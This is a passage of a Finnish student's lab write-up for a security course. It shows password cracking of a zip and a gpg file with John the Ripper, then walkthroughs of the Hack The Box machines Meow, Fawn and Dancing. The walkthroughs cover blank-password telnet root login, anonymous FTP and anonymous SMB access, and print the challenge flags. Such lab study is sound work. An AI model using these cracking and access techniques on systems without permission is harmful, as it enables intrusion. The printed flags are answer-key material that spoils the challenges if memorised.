qwerty123        (zippi.zip/niko/niko.txt)
1g 0:00:00:00 DONE (2021-12-04 13:01) 50.00g/s 50.00p/s 50.00c/s 50.00C/s qwerty123
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Zip-suojaus kräkätty JtR:llä onnistuneesti varsin koelaboratoriomaisissa olosuhteissa :-D, periaate tulee kuitenkin selväksi.

f) Murra jonkin muun tiedoston suojaus

Murra jonkin muun tiedoston salasanasuojaus.

Kokeillaan samaa periaatetta pdf-tiedostoon.

# etsitään PDF tiedosto
└─$ grep -r / --include=*.pdf
grep: .ZAP/lang/ZAPGettingStartedGuide-2.10.pdf: binary file matches
# avataan se selaimessa että se varmasti toimii
└─$ firefox '.ZAP/lang/ZAPGettingStartedGuide-2.10.pdf'
# kopioidaan se 
└─$ cp .ZAP/lang/ZAPGettingStartedGuide-2.10.pdf niko/zap.pdf 
# salasanasuojataan se https://www.garron.me/en/linux/password-protect-file.html 
# JtR sanalistasta löytyvällä 'password', luo uuden zap.pdf.gpg tiedoston
└─$ gpg -c zap.pdf           
gpg: keybox '/home/kali/.gnupg/pubring.kbx' created
# kokeillaan pdf2johnilla tiivistetiedostoa pdfhash vastaan
└─$ /usr/share/john/pdf2john.pl zap.pdf.gpg > pdfhash
└─$ cat pdfhash          
zap.pdf.gpg: not a PDF file!
# eli gpg ei ole enää pdf-tiedosto vaan kryptattu, ja purettaisiin
gpg zap.pdf.gpg 
# johnissa on myös gpg2john, otetaan suojatun tiedoston tiiviste gpghash-tiedostoon
└─$ gpg2john zap.pdf.gpg > gpghash                                                                    
# ajetaan john gpghash-tiedostoa vastaan --show komennolla joka näyttää kräkätyt salasanat: 
└─$ john gpghash --show 
?:password
1 password hash cracked, 0 left                        

pdf pw.PNG

Valmista tuli niin hyvin nopeasti. gpghash-tiedosto oli valtavan pitkä (sivuja!) ja john gpghash kräkkäys puolestaan niin nopea (sekunti tai pari) että arveluttamaan jäi.

g) Salasanan taakse / ei julkiseen nettiin

Salasanan taakse / ei julkiseen nettiin: Tiedustele perusteellisesti jokin HTB Machines verkon kone. Selitä tulokset. Luettele lähestymistavat, joilla murtautumista voisi aloittaa. (Tämä pitää laittaa piiloon, koska HTB:lla on näistä kilpailu, emmekä halua spoilata sitä)

Alkuvalmistelut

Edellisviikolla jätettiin HtB:n harjoitukset tekemättä koska HtB:n säännöt ovat vanhentuneet ja kieltävät muiden verkkojen kuin 10.10.10/24 tutkimisen, mutta harjoituskoneet (joiden määrä on varmaan kasvanut kovasti) spawnaavat aivan eri verkkoihin. Laitoin HtB:lle kolmeen eri osoitteeseen aiheesta viestiä, mutta mitään vastausta ei ole kuulunut eikä sääntöjä ole päivitetty. Kukaan muu ei kurssilla kyllä asiasta ollut välittänyt, joten ehkä tässä aloittelijan epävarmuus meni hieman liian pitkälle. Toisaalta, aika noloa HtB:n puolelta 1) pitää yllä sääntöjä jotka estävät palvelun käytön ja 2) olla vastaamatta ja reagoimatta palautteeseen asiasta.

Proxy: ZAP

Käytän kahta Kalia, toisessa on asennettuna WebGoat ja WebWolf ja JuiceShop ja enemmän kaikenlaista kamaa joka varmaan voisi teoriassa tehdä siitä haavoittuvamman, ja siihen on myös tehty myös ZAP ja FoxyProxy säädöt, joten tehdään samat myös nyt käytettyyn koneeseen.

Valitaan ZAP –> Tools –> Options –> Local Proxy: Port 8080 (ei WebGoatia pyörimässä samassa portissa). Behind NAT asetus mietityttää hieman, mutta hetken mietittyä sen kuvausta se vaikuttaa siis siltä, että jos lokaali välityspalvelin olisi oikeasti Internetissä se valittaisiin (esim. “http://proxypalvelin:8008”). Näinhän ei ole, meidän välityspalvelin on localhost:8080.

Otetaan myös HUD pois päältä ZAP:ia käytettäessä. Hoksataan myös että HUD:n base directory on osoitteessa /home/kali/.ZAP/hud, tämä olisi pitänyt lisätä FoxyProxyn Patterniin että HUD olisi toiminut oikein Pattern-asetuksilla aiemmissa harjoituksissa. Tosin pelkkä ZAP tai HUD lisääminen wildcard-merkkien väliin ei kuulosta hyvältä idealta, vaan ratkaisu vaatisi kunnollisen regex-ratkaisun, sillä FoxyProxy wildcard polut eivät salli kauttamerkkejä / (syystä x).

Lisätään FoxyProxyyn pattern *10.10.10.* HtB pohjaksi, vaikkei se riitäkään nykyisin.

Starting point

Tehdään Meow harjoitus viimein loppuun.

ping 10.129.255.83 
nmap 10.129.255.83 
telnet 10.129.255.83 
# Meow login: 
root
ls
root@Meow:~# cat flag.txt
# root flag
b40abdfe23665f766f9c61ecba8a4c19

Kokeillaan Fawn (Very easy).

ping 10.129.223.128
nmap -sV 10.129.223.128
firefox "ftp://10.129.223.128"
# avataan flag.txt selaimessa, kopioidaan root flag
035db21c881520061c53e0536e44f815

Kokeillaan Dancing (Very easy).

└─$ ping 10.129.209.169     
└─$ nmap 10.129.209.169          
└─$ smbclient -L 10.129.209.169/WorkShares
Enter WORKGROUP\kali's password: 

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        WorkShares      Disk      
SMB1 disabled -- no workgroup available
# Tämä oli niin pelottava tämä neljä kenoviivaa että luin ohjeita lopulta sekä googlesta että dancingin omasta walkthroughsta
smbclient \\\\10.129.209.169\\WorkShares # ja salasanaan tyhjää
# SMB:ssä
smb: \> ls
  .                                   D        0  Mon Mar 29 04:22:01 2021
  ..                                  D        0  Mon Mar 29 04:22:01 2021
  Amy.J                               D        0  Mon Mar 29 05:08:24 2021
  James.P                             D        0  Thu Jun  3 04:38:03 2021
# 
smb: \> cd James.P
smb: \James.P\> ls
  .                                   D        0  Thu Jun  3 04:38:03 2021
  ..                                  D        0  Thu Jun  3 04:38:03 2021
  flag.txt                            A       32  Mon Mar 29 05:26:57 2021

                5114111 blocks of size 4096. 1754145 blocks available
smb: \James.P\> get flag.txt 
exit 
└─$ cat flag.txt                   
5f61c10dffbc77a704d76016a22f1664 

Jouduttiin lukemaan SMB-Linux yhteyksistä: https://tldp.org/HOWTO/SMB-HOWTO-8.html. Neljä kenoviivaa vaikuttivat niin pelottavilta smb:llä yhteyttä ottaessa että päädyin lukemaan vielä Dancingin omat ohjeet smbclient-yhteydestä lähtien.

Välihuomiona, että HtB app heittelee välillä erroria ihavvaa huvin ja urheilun kannalta. Lisäksi tätä erittäin helppoa konetta tehdessä tulee mieleen aloitettu helpon koneen walkthrough lukeminen - se vaikutti kaikkea muuta kuin helpolta. Pysytellään näissä kivoissa very easy machineissa suosiolla loppuun ennen kuin siirrytään edes tiedustelemaan helppoja koneita.

Explosion & Preignition - VIP

Jatketaan Very Easy masiinoiden parissa, ensin Explosion. Whoops, se vaatiikin VIP accesin. Samoin Preignition. Ei auta kuin siirtyä syvään päätyyn. Tosin en tiedä ovatko nämä Starting Point verkon muut masiinat sitten helpompia kuin Machines verkon vastaavat.

Machines verkko

Katkaistaan Starting point VPN yhteys ctrl+c terminaali-ikkunassa missä se oli päällä, ja ladataan Machines .ovpn-tiedosto ja käynnistetään se. Koneet taitavat olla molemmissa samat. Loput lorinat salasanan taakse.

Hack the Box Machines verkon aktiivisen koneen Horizontall yrittämistä